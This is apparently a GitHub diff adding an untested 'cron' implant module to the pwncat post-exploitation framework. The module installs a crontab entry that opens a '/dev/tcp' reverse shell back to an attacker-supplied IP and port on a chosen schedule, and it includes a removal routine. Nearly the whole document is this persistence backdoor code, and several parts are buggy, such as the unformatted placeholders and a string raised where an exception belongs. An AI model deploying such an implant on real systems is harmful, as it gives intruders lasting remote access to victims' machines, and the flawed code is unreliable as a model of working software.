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Linux Implant - cron.py#151
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Skeleton code; not tested
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commit8c36c39fff661f09af8a049395c4925b19f562fa
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88 changes: 88 additions & 0 deletionspwncat/modules/linux/implant/cron.py
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,88 @@ | ||
| #!/usr/bin/env python3 | ||
| from crontab import CronTab #https://pypi.org/project/python-crontab/ | ||
| import getpass # https://stackoverflow.com/questions/842059/is-there-a-portable-way-to-get-the-current-username-in-python#842096 | ||
| import pwncat | ||
| from pwncat.platform.linux import Linux | ||
| from pwncat.modules import Status, Argument, ModuleFailed | ||
| from pwncat.modules.implant import ImplantModule | ||
| class CronImplant(ImplantModule): | ||
| def __init__(self, source, ip, port, schedule): | ||
| super().__init__(source=source) | ||
| self.ip = ip | ||
| self.port = port | ||
| self.schedule = schedule | ||
| def title(self, session: "pwncat.manager.Session"): | ||
| return f"reverse shell connects to [blue]{ip}[/blue]:[cyan]{port}[/cyan] every [red]{schedule}[/red]" | ||
| def description(self, session: "pwncat.manager.Session"): | ||
| """Use current SHELL environment varable and /dev/tcp/ to execute a reverse shell on a cron schedule. Cron takes predetermined options: @reboot, every_minute, hourly, daily, @1337 (daily at 1337)""" | ||
| return None | ||
| def escalate(self, session: "pwncat.manager.Session"): | ||
| # not sure how to incorporate escalte with this implant | ||
| return None | ||
| class Module(ImplantModule): | ||
| """Add reverse shell in crontab for current user.""" | ||
| PLATFORM = [Linux] | ||
| ARGUMENTS = { | ||
| **ImplantModule.ARGUMENTS, | ||
| "ip": Argument(str, help="the IP/domain to call back to"), | ||
| "port": Argument(str, default="4444", help="the port to connect to (default: 4444"), | ||
| "schedule": Argument(str, default="every_minute", help="the cron schedule used (default: every_minute)") | ||
| } | ||
| def install(self, session: "pwncat.manager.Session", ip, port, schedule): | ||
| #testing input | ||
| if schedule not in ["@reboot", "every_minute", "hourly", "daily", "@1337"]: | ||
| raise "Pick from @reboot, every_minute, hourly, daily, or @1337" | ||
| #testing write privileges | ||
| cron = CronTab(user=getpass.getuser()) | ||
| job = cron.new(command='echo hello_world', comment=hash(getpass.getuser())) | ||
| job.minute.every(1) | ||
| try: | ||
| cron.write() | ||
| except (FileNotFoundError, PermissionError) as exc: | ||
| raise ModuleFailed(str(exc)) from exc | ||
| cron.remove_all(comment=hash(getpass.getuser())) | ||
| job = cron.new(command=str(cron.env['SHELL']) + " -i >& /dev/tcp/{ip}/{port} 0>&1", comment=str(hash(getpass.getuser()))) | ||
| # starting out, for proof of concept, use predetermined schedules to pick from | ||
| # cron schedule special cases | ||
| # reboot | ||
| if schedule == "@reboot": | ||
| job.every_reboot() | ||
| # every minute | ||
| elif schedule == "every_minute": | ||
| job.minute.every(1) | ||
| # hourly | ||
| elif schedule == "hourly": | ||
| job.every().hours() | ||
| # daily | ||
| elif schedule == "daily": | ||
| job.every().dows() | ||
| # 1337 | ||
| elif schedule == "@1337": | ||
| job.hour.every(13) | ||
| job.minute.every(37) | ||
| cron.write() | ||
| def remove(self, session: "pwncat.manager.Session"): | ||
| #Use user hash to remove them | ||
| cron = CronTab(user=getpass.getuser()) | ||
| yield Status("removing reverse shell") | ||
| try: | ||
| cron.remove_all(comment=str(hash(getpass.getuser()))) | ||
| except (FileNotFoundError, PermissionError) as exc: | ||
| raise ModuleFailed(str(exc)) from exc |
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